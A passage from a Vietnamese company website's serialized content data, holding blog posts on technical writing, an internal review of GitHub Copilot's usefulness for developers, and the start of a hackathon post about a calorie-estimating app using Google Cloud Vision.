đủ, lợi ích của quản lý cấu hình sẽ không được tận dụng và có thể gây thêm gánh nặng.",[11,10784,10785],{},"Do đó, việc bố trí người chuyên trách, đào tạo sử dụng công cụ một cách hiệu quả và thường xuyên kiểm tra tình trạng quản lý là rất cần thiết để duy trì quản lý cấu hình một cách liên tục. Điều này sẽ đảm bảo rằng thông tin có thể được tham chiếu nhanh chóng và chính xác khi cần thiết.",[11,10787,10788],{},[20,10789,4944],{},[11,10791,10792],{},[58,10793,10794],{"href":10794,"rel":10795},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-11-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":10797},[10798,10799],{"id":10648,"depth":1417,"text":10651},{"id":10707,"depth":1417,"text":10710},"2025-02-18",{},"\u002Fvi\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu",{"title":10511,"description":10516},"vi\u002Fnews\u002Fgiam-sat-va-kiem-soat-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F17135210\u002FScreenshot-2025-02-17-135150.png","VMzQJM-GqEtsiaCAw2xUS0PjYyKrtmTbvTntUlGBS4g",{"id":10808,"title":10809,"body":10810,"category":10921,"created by":70,"date":10922,"description":10814,"extension":72,"meta":10923,"navigation":74,"path":10924,"sections":76,"seo":10925,"stem":10926,"thumbnail":10927,"__hash__":10928},"content_vi\u002Fvi\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing.md","Giới thiệu về các phương pháp trong Technical Writing",{"type":8,"value":10811,"toc":10919},[10812,10815,10818,10821,10828,10831,10836,10839,10844,10847,10854,10857,10862,10865,10870,10873,10880,10883,10888,10891,10896,10899,10902,10909,10912],[11,10813,10814],{},"Ở Briswell, giao tiếp là hoạt động công việc diễn ra thường xuyên, dù là bằng lời nói hay trên văn bản. Chính vì vậy mà chúng mình cũng không ít lần hiểu lầm hoặc gặp khó khăn trong việc truyền đạt và hiểu được điều đối phương muốn nói. Để khắc phục điều này, chúng mình đã cùng nhau tham gia một môn học có tên là Technical Writing.",[11,10816,10817],{},"Technical Writing là gì nhỉ? Đây là cách viết truyền tải chính xác và rõ ràng các nội dung mang tính chuyên môn hoặc thông tin mang tính kỹ thuật đến với một đối tượng người đọc nhất định. Để dễ hình dung hơn, một ví dụ trong đời sống hằng ngày của chúng ta có sử dụng phương pháp viết này chính là các bản hướng dẫn sử dụng được đính kèm khi mua tủ lạnh, máy giặt,... mà đôi khi chúng ta thường quăng vào một góc. Nghe có vẻ khô khan và cũng khá hợp lý khi chúng bị “quăng vào một góc” nhỉ. ",[11,10819,10820],{},"Tuy ban đầu mình cũng đã có cùng tâm thế đó nhưng sau khi học xong môn học này, mình đã bỏ túi được một vài phương pháp mà mình nghĩ là có thể cải thiện được khả năng giao tiếp của bản thân. Vì vậy, trước khi quyết định xem có nên “quăng vào một góc” không thì hãy điểm qua một vài phương pháp cùng mình nhé.",[201,10822,10823],{},[34,10824,10825],{},[20,10826,10827],{},"Phương pháp điều chỉnh tài liệu cho phù hợp với người đọc",[11,10829,10830],{},"Mỗi người đều có những trải nghiệm, kiến thức khác nhau nên cách tiếp nhận đối với cùng một vấn đề cũng khác nhau. Ví dụ khi nói về nguyên nhân gây lỗi với một người không có nền tảng IT, lập trình viên giải thích như sau: ",[31,10832,10833],{},[34,10834,10835],{},"Phân quyền là 755 nên hiện tại người dùng này không thể tạo được thư mục.",[11,10837,10838],{},"Lúc này, người không có nền tảng về IT sẽ không hiểu được 755 là gì, tại sao 755 lại có liên quan đến việc tạo thư mục? Vì vậy, để đối phương có thể dễ dàng tiếp thu thì có thể giải thích lại như sau:",[31,10840,10841],{},[34,10842,10843],{},"Vì hệ thống đang được phân quyền sao cho ai là chủ sở hữu của thư mục nào thì mới có khả năng tạo tệp tin trong thư mục đó, và người dùng hiện tại không phải là chủ sở hữu của thư mục nên không có quyền tạo thư mục con trong đó.",[11,10845,10846],{},"Câu trên mặc dù được diễn giải dài hơn nhưng nó giúp cho người không có kiến thức về IT cũng có thể hình dung được nguyên nhân lỗi. Vì vậy khi giao tiếp, chúng ta cần phải xem đối phương đã nắm bắt được những thông tin gì và chưa nắm bắt được những thông tin gì, từ đó có cách trình bày phù hợp.",[201,10848,10849],{"start":67},[34,10850,10851],{},[20,10852,10853],{},"Phương pháp dùng thuật ngữ nhất quán",[11,10855,10856],{},"Ví dụ để mô tả chức năng của một màn hình, tài liệu viết như sau: ",[31,10858,10859],{},[34,10860,10861],{},"Hệ thống sẽ lấy tập tin được lưu trong thư mục upload_file_2024 và hiển thị lên màn hình. Khi người dùng muốn tải lên tập tin mới thì lưu tập tin này trong directory upload_file_2024.",[11,10863,10864],{},"Đọc đoạn văn trên bạn có bị bối rối liệu “thư mục upload_file_2024” và “directory upload_file_2024” có phải là cùng một thư mục hay không? Đó là do đoạn văn trên đã mắc lỗi dùng thuật ngữ không nhất quán. Có thể sửa lại như sau:",[31,10866,10867],{},[34,10868,10869],{},"Hệ thống sẽ lấy tập tin được lưu trong thư mục upload_file_2024 và hiển thị lên màn hình. Khi người dùng muốn tải lên tập tin mới thì cũng lưu tập tin này trong thư mục upload_file_2024.",[11,10871,10872],{},"Đoạn văn trên vì dùng cùng một thuật ngữ là “thư mục” nên người đọc có thể hiểu được rằng nơi để lấy tệp tin và nơi lưu tệp tin đều là “upload_file_2024”. Vì vậy, khi trình bày một thông tin nào đó, bạn cần kiểm tra xem các thuật ngữ được diễn đạt trong đó đã nhất quán chưa. Việc sử dụng thuật ngữ nhất quán không chỉ giúp người đọc nắm bắt được nội dung tốt hơn mà còn giúp tăng độ tin cậy cho thông tin muốn truyền đạt.",[201,10874,10875],{"start":1417},[34,10876,10877],{},[20,10878,10879],{},"Phương pháp lược bỏ các từ ngữ không cần thiết",[11,10881,10882],{},"Khi nói, bạn có thường hay thêm những từ ngữ thể hiện cảm xúc hay các từ đồng nghĩa lặp đi lặp lại hay không? Trong đối thoại hằng ngày thì việc bộc lộ cảm xúc giúp cho câu chuyện trở nên sinh động hơn, nhưng khi cần bàn bạc, thảo luận về một vấn đề gì đó thì cần diễn đạt ý bản thân muốn truyền đạt một cách đúng, đủ và ngắn gọn nhất có thể. Chẳng hạn khi nói: ",[31,10884,10885],{},[34,10886,10887],{},"Việc sửa lỗi thật sự rất chậm và tốn thời gian nên đã gây ra nhiều thiệt hại cho khách hàng.",[11,10889,10890],{},"Ở đây chỉ cần nói:",[31,10892,10893],{},[34,10894,10895],{},"Vì việc sửa lỗi mất thời gian nên đã gây ra nhiều thiệt hại cho khách hàng.",[11,10897,10898],{},"Mặc dù không cần thêm ý “thật sự rất chậm” nhưng người đọc cũng có thể hiểu được việc sửa lỗi đã tốn thời gian đúng không nào? Việc diễn đạt ngắn gọn giúp người đọc có thể nắm bắt được trọng tâm câu chuyện và tăng tính dễ hiểu cho văn bản đấy nhé.",[11,10900,10901],{},"Trên đây mình đã trình bày ba phương pháp mà mình cảm thấy hữu ích trong Technical Writing. Sau khi đọc xong các bạn có muốn tiếp tục tìm hiểu thêm về phương pháp này không nào? Nếu hứng thú thì các bạn hãy tham khảo tài liệu đầy đủ đã được Briswell biên soạn ở link dưới đây nhé!",[11,10903,10904],{},[58,10905,10908],{"href":10906,"rel":10907},"https:\u002F\u002Fspeakerdeck.com\u002Fbwv\u002Ftraining-technical-writing-cong-ty-briswell-viet-nam",[62],"Training Technical Writing - Công ty Briswell Việt Nam - Speaker Deck",[11,10910,10911],{},"Nguồn tham khảo:",[11,10913,10914],{},[58,10915,10918],{"href":10916,"rel":10917},"https:\u002F\u002Fdevelopers.google.com\u002Ftech-writing\u002Foverview",[62],"Technical Writing Courses",{"title":66,"searchDepth":67,"depth":67,"links":10920},[],[1430,69],"2024-05-02",{},"\u002Fvi\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing",{"title":10809,"description":10814},"vi\u002Fnews\u002Fgioi-thieu-ve-cac-phuong-phap-trong-technical-writing","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F05\u002F02125920\u002FScreenshot-2024-05-02-125848.png","9aSim7sPCjLFcBGClz8mTWQ4k-JKOku25n6iZxTCR2M",{"id":10930,"title":10931,"body":10932,"category":1430,"created by":70,"date":11119,"description":11120,"extension":72,"meta":11121,"navigation":74,"path":11122,"sections":76,"seo":11123,"stem":11124,"thumbnail":11125,"__hash__":11126},"content_vi\u002Fvi\u002Fnews\u002Fgithub-copilot-review.md","Nhận xét nội bộ về GitHub Copilot",{"type":8,"value":10933,"toc":11108},[10934,10937,10940,10943,10947,10950,10953,10957,10960,10964,10968,10971,10975,10983,10987,11001,11005,11010,11014,11029,11033,11053,11056,11059,11062,11065,11068,11071,11075,11078,11081,11088,11091,11097,11101],[11,10935,10936],{},"Bắt đầu từ thời điểm dịch vụ ChatGPT được mở ra, việc sử dụng AI để cải thiện hiệu suất và cải thiện chất lượng được ứng dụng một cách phổ biến tại nhiều ngành nghề và các công việc khác nhau.",[11,10938,10939],{},"Ngay cả công ty chúng tôi, mặc dù có một số hạn chế nhằm tránh rò rỉ thông tin bảo mật nhưng cơ hội sử dụng dịch vụ AI trong công việc công ty chúng tôi đang ngày càng tăng lên.",[11,10941,10942],{},"Chính vì thế, lần này chúng tôi đã giao cho khoảng 10 lập trình viên sử dụng GitHub Copilot để khảo sát xem GitHub Copilot giúp cải thiện khâu phát triển Web application như thế nào. Công ty chúng tôi xin được trình bày quan điểm của mình về GitHub Copilot.",[498,10944,10946],{"id":10945},"github-copilot-là-gì","GitHub Copilot là gì",[11,10948,10949],{},"GitHub Copilot là một công cụ tích hợp AI để đưa ra các gợi ý hỗ trợ hoàn thiện code, được phát triển dựa trên GitHub và OpenAI. GitHub Copilot được sử dụng kết hợp với các trình soạn thảo như Visual Studio Code, Visual Studio, Neovim, JetBrains, v.v.. nhằm đưa ra những gợi ý cũng như tự động bổ sung code ngay tại thời điểm đang soạn thảo.",[11,10951,10952],{},"GitHub Copilot được training với một tập hợp dữ liệu hơn 1 tỷ dòng. Trong tập hợp dữ liệu này có chứa các dự án mã nguồn mở, code base doanh nghiệp và code của cá nhân. GitHub Copilot sử dụng tập hợp dữ liệu này để tạo ra các mã code khớp với mã code mà người dùng đang viết. Codex là một sản phẩm sinh ra từ mô hình ngôn ngữ GPT-3 và được xem là công cụ được kế thừa một số chức năng từ GPT-3. Tuy nhiên, có vẻ như công cụ này không được công bố chính thức phiên bản GPT (Theo khảo sát của Google Bard)",[498,10954,10956],{"id":10955},"điểm-chú-ý-trước-khi-sử-dụng","Điểm chú ý trước khi sử dụng",[11,10958,10959],{},"Nhằm phòng ngừa rò rỉ thông tin bảo mật và tránh vi phạm bản quyền, khi dùng GitHub Copilot cần thiết lập như dưới đây. Nếu subscription gói Business trên GitHub Copilot thì có thể chia sẻ thiết lập này với các tài khoản con thuộc cùng tổ chức trên GitHub. Ngoài ra, cũng có thể chọn người mà bạn muốn đóng phí subscription. Điều đó có nghĩa là bạn không cần phải chi trả phí sử dụng cho toàn bộ thành viên trong tổ chức trực thuộc. (Tính đến thời điểm tháng 6 năm 2023)",[533,10961],{"className":10962,"alt":66,"src":10963,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135036\u002Fgithub-copilot-securitysetting-768x477.png",[498,10965,10967],{"id":10966},"nhận-xét","Nhận xét",[11,10969,10970],{},"Sau đây là những mô tả về điểm tốt và điểm cần cải thiện (điểm cải thiện) sau khi công ty chúng tôi dùng thử GitHub Copilot trong quá trình phát triển một số dự án và phát triển chương trình mẫu để khảo sát. Dưới đây là kết quả nhận xét đánh giá của 10 lập trình viên có từ 2 năm đến 10 năm kinh nghiệm lập trình, có thể sử dụng ít nhất 2 trong số 3 ngôn ngữ Nodejs\u002FPHP\u002FJavascript và trong đó mỗi người đều tiến hành dùng thử một cách độc lập.",[657,10972,10974],{"id":10973},"điểm-tốt","Điểm tốt",[31,10976,10977,10980],{},[34,10978,10979],{},"GitHub Copilot lý giải bối cảnh và đưa ra các gợi ý phù hợp. Khi get giá trị cụ thể trong một model cụ thể, GitHub Copilot lý giải chương trình hiện có và đưa ra các gợi ý cú pháp có chứa tên key và tên field.",[34,10981,10982],{},"Lập trình viên NodeJS từ cấp bậc Senior trở lên, đã thực hiện code ngôn ngữ không quen thuộc là Python và nhận thấy rằng gợi ý từ thao tác Control + Enter dễ hiểu, phù hợp và có ích.",[533,10984],{"className":10985,"alt":66,"src":10986,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28135445\u002Fsuggestion-python-code-1024x447.png",[31,10988,10989,10992,10995,10998],{},[34,10990,10991],{},"GitHub Copilot giúp cải thiện hiệu suất làm việc vì có thể đánh giá ở một mức độ nào đó xem lựa chọn của bản thân có đúng hay không khi muốn thử thách với một ngôn ngữ lập trình khác, nếu đã có kinh nghiệm một ngôn ngữ lập trình nào đó.",[34,10993,10994],{},"Ngoài tiếng Việt, tiếng Anh và tiếng Nhật, GitHub Copilot cũng hỗ trợ các ngôn ngữ khác.",[34,10996,10997],{},"Bằng cách thêm Copilot, VS code đưa ra các gợi ý bổ sung code đôi khi cũng sẽ dễ hiểu hơn.",[34,10999,11000],{},"Khi chọn một gợi ý, GitHub Copilot sẽ sử dụng tên hàm, tên chức năng của chương trình có sẵn nên thời gian code sẽ giảm đi.",[657,11002,11004],{"id":11003},"điểm-cải-thiện","Điểm cải thiện",[31,11006,11007],{},[34,11008,11009],{},"Đôi lúc câu trả lời không đúng đối với câu hỏi đơn giản về Javascript.",[533,11011],{"className":11012,"alt":66,"src":11013,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28140105\u002Fask-copilot-1-1024x225.png",[31,11015,11016,11023,11026],{},[34,11017,11018,11019],{},"Đôi khi gợi ý cú pháp không tồn tại.",[533,11020],{"className":11021,"alt":66,"src":11022,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28152141\u002Fwrong-context-suggestion-768x499.png",[34,11024,11025],{},"Khi muốn đặt câu hỏi cho Copilot hoặc muốn nhận gợi ý chương trình, sau khi gửi tin nhắn thì thường phải chờ lâu mới nhận được phản hồi. Và cũng có thỉnh thoảng không có bất cứ phản hồi nào dẫn đến lãng phí thời gian.",[34,11027,11028],{},"GitHub Copilot không có mức độ lý giải ngôn ngữ bằng ChatGPT, đôi khi GitHub Copilot không hiểu prompt ở một mức độ nhất định nên phản hồi trả về cũng không được như kỳ vọng.",[657,11030,11032],{"id":11031},"tổng-kết","Tổng kết",[31,11034,11035,11038,11041,11044,11047,11050],{},[34,11036,11037],{},"Copilot mang lại ấn tượng giống như là một bản nâng cấp của chức năng hoàn thiện code, vẫn chưa đến mức được xem là ý tưởng thay đổi mang tính đột phá.",[34,11039,11040],{},"Copilot chỉ gợi ý những gì có vẻ phù hợp cho chương trình đã viết. Không hẳn là Copilot hiểu được yêu cầu logic đã viết trong chương trình để đưa ra một chương trình khác có thể giải quyết và phù hợp hoàn toàn với chương trình hiện có.",[34,11042,11043],{},"Khả năng lý giải ngôn ngữ của Copilot không tốt nên khó cảm nhận được hướng dẫn từ Copilot một cách dễ dàng. Vai trò hướng dẫn của Copilot không đầy đủ nên chưa mang lại cảm giác \"đồng hành lập trình\" cho người sử dụng.",[34,11045,11046],{},"Đối với lập trình viên có kinh nghiệm và code bằng ngôn ngữ mới thì Copilot có ích, giúp giảm bớt thao tác viết code khoảng 5 - 10%.",[34,11048,11049],{},"Đối với lập trình viên có kinh nghiệm và là ngôn ngữ sử dụng quen thuộc thì Copilot chỉ cần chức năng bổ sung hoàn thiện code hiện có là đủ, giúp giảm bớt thao tác viết code khoảng 0 - 5%.",[34,11051,11052],{},"Khoảng 50% lập trình viên đã trải nghiệm Copilot đều mong muốn tiếp tục sử dụng công cụ này.",[11,11054,11055],{},"Sau khi nhận gợi ý từ AI, cần phải xác nhận xem chương trình và thao tác có sẵn có chính xác hay không. Người ta cho rằng lập trình viên chưa có kinh nghiệm nếu sử dụng Copilot thì ít nhiều gì cũng có thể viết chương trình chạy được ở một mức độ nào đó. Tuy nhiên, cần phải hiểu được logic nghiệp vụ của ứng dụng cần phát triển để đặt câu hỏi cho Copilot một cách phù hợp và cần chọn lọc các nội dung phản hồi phù hợp. Chúng tôi nhận thấy rằng sử dụng Copilot khó mà viết chương trình có thể đảm bảo được chất lượng của ứng dụng.",[11,11057,11058],{},"Trường hợp lập trình viên có kinh nghiệm lập trình trên 2 năm và có thành tích tham gia một số dự án, nếu sử dụng ngôn ngữ lập trình và framework quen thuộc thì chỉ cần chức năng bổ sung hoàn thiện code hiện có là đủ. Ngược lại có vẻ sẽ bất lợi hơn khi mất thời gian cho việc nhập nội dung câu hỏi gửi tới Copilot và mất thời gian đợi phản hồi.",[11,11060,11061],{},"Đối với lập trình viên có kinh nghiệm lập trình và thông thạo 1 ngôn ngữ lập trình trở lên, khi sử dụng ngôn ngữ lập trình khác để phát triển thì có khả năng Copilot sẽ hữu ích. Đó là bởi vì lập trình viên đó hiểu được logic nghiệp vụ của ứng dụng cần phát triển nên có thể yêu cầu hoặc đặt câu hỏi đến Copilot một cách phù hợp và có thể chạy được các source mẫu của Copilot gợi ý, có thể xác nhận nguồn tham khảo của ngôn ngữ đó và có thể phán đoán nội dung đó không có vấn đề gì.",[11,11063,11064],{},"Trong lĩnh vực phát triển có sử dụng AI, chúng ta thường có hình dung là: sau khi nhận được chương trình khung sườn từ ChatGPT, chúng ta sẽ sử dụng GitHub Copilot để chỉnh sửa chi tiết sao cho phù hợp với logic nghiệp vụ và chương trình hiện có, đồng thời kết hợp với test code để hoàn chỉnh chương trình. Tuy nhiên, GitHub Copilot chỉ để lại ấn tượng là chức năng bổ sung hoàn thiện code được nâng cấp lên một ít. Có thể nói GitHub Copilot vẫn còn rất nhiều vấn đề cần cải thiện, về tính khả dụng, … trong chương trình gợi ý.",[11,11066,11067],{},"Kết quả sau khoảng 1 tháng sử dụng, khoảng nửa số lập trình viên đã trả lời rằng: nếu có thể giảm thời gian thao tác code đại khái 0 - 5% sẽ tốt hơn. Tương tự, khoảng nửa số lập trình viên nói rằng: vì không sử dụng Copilot liên tục nên không cần đóng phí subscription. Phía công ty chúng tôi cũng đã ghi nhận lại thời gian dự tính và thời gian thực tế cho việc viết code này, bởi vì không có thay đổi lớn về thời gian trước và sau khi sử dụng Copilot, do đó chúng tôi nhận định ấn tượng và thành quả của lập trình viên là đúng. Nội dung công việc của lập trình viên không phải chỉ viết code, cho nên công việc trong 1 tháng của lập trình viên cũng không hẳn là giảm được 0 - 5% và chưa thể đạt được kết quả giảm thiểu chi phí phát triển ở mức đột phá.",[11,11069,11070],{},"Từ việc có khoảng 50% lập trình viên nghĩ rằng GitHub Copilot hầu như không có ích, công ty chúng tôi nhận định rằng đến thời điểm hiện tại thì Copilot vẫn chưa phải là tiêu chuẩn phổ biến. Tuy nhiên, GitHub Copilot cũng đang mang tính cạnh tranh do đang triển khai các dịch vụ mới của AI code assistant như Codey… do đó các hạn chế dần dần được cải thiện thì không bao lâu nữa sẽ đến ngày mà con người vừa viết code vừa được AI chỉ dẫn giống như là đang đồng hành lập trình cùng với con người.",[498,11072,11074],{"id":11073},"điều-đáng-tiếc-bổ-sung","Điều đáng tiếc (bổ sung)",[11,11076,11077],{},"Khi đặt câu hỏi về cách sử dụng GitHub Copilot thì một URL của trang youtube được gửi tới nhưng khi truy cập vào thì không có trang tồn tại. Ngoài ra, khi đặt câu hỏi về việc làm cách nào để nhận được sự trợ giúp thì một URL của trang nào đó trong file doc từ copilot của Github được gửi tới, và truy cập vô trang đó thì hiện ra thông báo lỗi 404. Ở một application cụ thể, lập trình viên thường sử dụng lệnh help để tìm hiểu chức năng câu lệnh muốn thực hiện. Tuy nhiên, kết quả lại không như mong đợi.",[11,11079,11080],{},"​\u002F\u002F q: how to use the Github copilot?",[11,11082,11083,11084],{},"\u002F\u002F a: ",[58,11085,11086],{"href":11086,"rel":11087},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=Qp9T9Zj9jv8",[62],[11,11089,11090],{},"\u002F\u002F q: how to get help from Github copilot?",[11,11092,11083,11093],{},[58,11094,11095],{"href":11095,"rel":11096},"https:\u002F\u002Fcopilot.github.com\u002Fdocs\u002Fget-help\u002F",[62],[498,11098,11100],{"id":11099},"nguồn-tham-khảo","Nguồn tham khảo",[11,11102,11103],{},[58,11104,11107],{"href":11105,"rel":11106,"title":11107},"https:\u002F\u002Fgithub.com\u002Ffeatures\u002Fcopilot",[62],"GitHub Copilot · Your AI pair programmer",{"title":66,"searchDepth":67,"depth":67,"links":11109},[11110,11111,11112,11117,11118],{"id":10945,"depth":67,"text":10946},{"id":10955,"depth":67,"text":10956},{"id":10966,"depth":67,"text":10967,"children":11113},[11114,11115,11116],{"id":10973,"depth":1417,"text":10974},{"id":11003,"depth":1417,"text":11004},{"id":11031,"depth":1417,"text":11032},{"id":11073,"depth":67,"text":11074},{"id":11099,"depth":67,"text":11100},"2023-07-25","Bắt đầu từ thời điểm dịch vụ ChatGPT được mở ra, việc sử dụng AI để cải thiện hiệu suất và cải thiện chất lượng được ứng dụng một cách phổ biến tại nhiều ngành nghề và các công việc khác nhau. Ngay cả công ty chúng tôi, mặc dù có một số hạn chế nhằm tránh rò rỉ thông tin bảo mật nhưng cơ hội sử dụng dịch vụ AI trong công việc công ty chúng tôi đang ngày càng tăng lên.",{},"\u002Fvi\u002Fnews\u002Fgithub-copilot-review",{"title":10931,"description":11120},"vi\u002Fnews\u002Fgithub-copilot-review","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F06\u002F28151329\u002Fcopilot.png","P0sBAUa0nGSOolqzZlR6--RAzMhoruOLjP1PaG3h48E",{"id":11128,"title":11129,"body":11130,"category":11384,"created by":11385,"date":11386,"description":11148,"extension":72,"meta":11387,"navigation":74,"path":11388,"sections":76,"seo":11389,"stem":11390,"thumbnail":11391,"__hash__":11392},"content_vi\u002Fvi\u002Fnews\u002Fhackathon-calories-showing-app-giup-kiem-tra-calories-tu-hinh-anh-thuc-an.md","[Hackathon] Calories Showing - App giúp kiểm tra calories từ hình ảnh thức ăn",{"type":8,"value":11131,"toc":11377},[11132,11134,11146,11149,11160,11163,11174,11177,11180,11184,11192,11196,11199,11202,11207,11210,11213,11221,11224,11227,11231,11234,11237,11245,11249,11252,11256,11259,11263,11266,11270,11278,11281,11285,11288,11291,11299,11302,11306,11309,11323,11331,11334,11337,11345,11348,11351,11354,11356,11361,11367,11371],[490,11133,5418],{"id":5417},[3265,11135,11137,11141,11142,756],{"id":11136},"httpswwwworldbankorgennewsinfographic20200129the-crippling-costs-of-obesity",[533,11138],{"className":11139,"alt":66,"src":11140,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085001\u002Fobesity_info.jpg"," (",[58,11143,11144],{"href":11144,"rel":11145},"https:\u002F\u002Fwww.worldbank.org\u002Fen\u002Fnews\u002Finfographic\u002F2020\u002F01\u002F29\u002Fthe-crippling-costs-of-obesity",[62],[11,11147,11148],{},"Ngày nay thế giới phải đối mặt với gánh nặng kép về dinh dưỡng bao gồm cả suy dinh dưỡng và thừa cân béo phì. Trong đó, tỷ lệ béo phì đang gia tăng rất nhanh. Số liệu gần đây cho thấy kể từ năm 1975, bệnh béo phì đã tăng gần gấp ba lần và hiện nó gây ra 4 triệu ca tử vong trên toàn thế giới mỗi năm. Năm 2016, trên thế giới có hơn 2 tỷ người trưởng thành (44%) bị thừa cân hoặc béo phì.",[3265,11150,11152,11141,11156,756],{"id":11151},"httpswwwazumiocomblognutritionhealthy-eating-101-food-journaling",[533,11153],{"className":11154,"alt":66,"src":11155,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085136\u002Ffood_journalling.jpg",[58,11157,11158],{"href":11158,"rel":11159},"https:\u002F\u002Fwww.azumio.com\u002Fblog\u002Fnutrition\u002Fhealthy-eating-101-food-journaling",[62],[11,11161,11162],{},"Trong khi những người thừa cân đang nạp quá nhiều calories, thì những người thiếu cân lại không nạp đủ calories để duy trì chúng. Chính vì vậy các chuyên gia dinh dưỡng khuyên rằng mỗi chúng ta nên lập kế hoạch calories-in và calories-out hằng ngày để kiểm soát lượng calories, từ đó sẽ giúp cải thiện tình trạng suy dinh dưỡng hoặc thừa cân béo phì và để có cơ thể khỏe mạnh.",[3265,11164,11166,11141,11170,756],{"id":11165},"httpsatlasbiomedcomblogbest-food-diary-guide-2020",[533,11167],{"className":11168,"alt":66,"src":11169,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085234\u002Ffood_diary-1024x589.png",[58,11171,11172],{"href":11172,"rel":11173},"https:\u002F\u002Fatlasbiomed.com\u002Fblog\u002Fbest-food-diary-guide-2020\u002F",[62],[11,11175,11176],{},"Ngày nay dưới sự phát triển như vũ bão của công nghệ, đặc biệt là công nghệ AI (Artificial Intelligence), thì việc áp dụng nó phục vụ cuộc sống hằng ngày là một xu hướng tất yếu. Và áp dụng nó vào Fitness\u002FHealthcare cũng không là ngoại lệ.",[11,11178,11179],{},"Những điều nêu trên là ý tưởng chính để team chúng tôi phát triển app Calories Showing. Chức năng của app là từ hình ảnh thức ăn chụp bằng camera điện thoại sẽ cho bạn biết lượng calories của thức ăn đó, từ đó giúp bạn điều chỉnh lượng calories của bản thân.",[490,11181,11183],{"id":11182},"calories-showing-app","Calories Showing app",[657,11185,11187],{"id":11186},"công-nghệ-sử-dụng",[20,11188,11189],{},[1277,11190,11191],{},"Công nghệ sử dụng",[533,11193],{"className":11194,"alt":66,"src":11195,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085454\u002FCaloriesShowingFlowWithoutModel-1024x549.png",[11,11197,11198],{},"Để thuận tiện cho việc sử dụng trên cả thiết bị máy tính và điện thoại, team tôi quyết định xây dựng WebApp sử dụng ngôn ngữ Javascript (NodeJS). Ngoài ra, chúng tôi sử dụng MySQL để lưu trữ dữ liệu calories, cũng như để thuận tiện cho sau này phát triển thêm chức năng (ví dụ như lưu thông tin user).",[11,11200,11201],{},"Để việc deploy dễ dàng hơn, cũng như dễ mở rộng sau này, chúng tôi cũng sử dụng Docker cho các phần WebApp, MySQL.",[11,11203,64,11204],{},[1277,11205,11206],{},"Google Cloud Vision",[11,11208,11209],{},"Google Cloud Vision API cung cấp các pre-trained machine learning models mạnh mẽ thông qua REST API. Giúp các developer dễ dàng tích hợp vào ứng dụng của mình các tính năng như phát hiện các đối tượng, nhận dạng khuôn mặt, nhận dạng hình ảnh, phân loại, gán nhãn và trích xuất văn bản của văn bản in hoặc hình ảnh chữ viết tay.",[11,11211,11212],{},"Trong dự án chúng tôi sử dụng 2 chức năng của Google Cloud Vision API cung cấp đó là:",[31,11214,11215,11218],{},[34,11216,11217],{},"Label Detection: phát hiện và trích xuất thông tin về các thực thể trong một hình ảnh, trên một nhóm các danh mục.",[34,11219,11220],{},"Object Localization: phát hiện và trích xuất nhiều đối tượng trong một hình ảnh",[11,11222,11223],{},"Từ kết quả trả về từ Google Cloud Vision và dữ liệu thu thập từ database sẽ trả về cho user lượng calories của thức ăn đó.",[11,11225,11226],{},"Bảng giá của Google Cloud Vision",[533,11228],{"className":11229,"alt":66,"src":11230,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09085636\u002FGoogleCloudVisonPricing-1024x212.png",[11,11232,11233],{},"Phù hợp với dự án nhỏ với số lượng user sử dụng ít. Khi số lượng user trở nên lớn hơn thì số tiền phải trả cũng tăng lên rất nhiều.",[11,11235,11236],{},"=> Chính vì vậy, không nên phụ thuộc mà cần có giải pháp thay thế (sẽ được trình bày ở phần sau)",[657,11238,11240],{"id":11239},"giao-diện-chức-năng-của-app",[20,11241,11242],{},[1277,11243,11244],{},"Giao diện, chức năng của app",[533,11246],{"className":11247,"alt":66,"src":11248,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104155\u002FIMG_1926-576x1024.png",[11,11250,11251],{},"Chọn hình ảnh từ máy hoặc chụp từ camera điện thoại",[533,11253],{"className":11254,"alt":66,"src":11255,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F09104305\u002FIMG_1927-576x1024.png",[11,11257,11258],{},"Từ hình ảnh đã chọn, AI sẽ detect thức ăn mà bạn đã chụp, ngoài ra bạn cũng có thể nhập tay những thức ăn còn 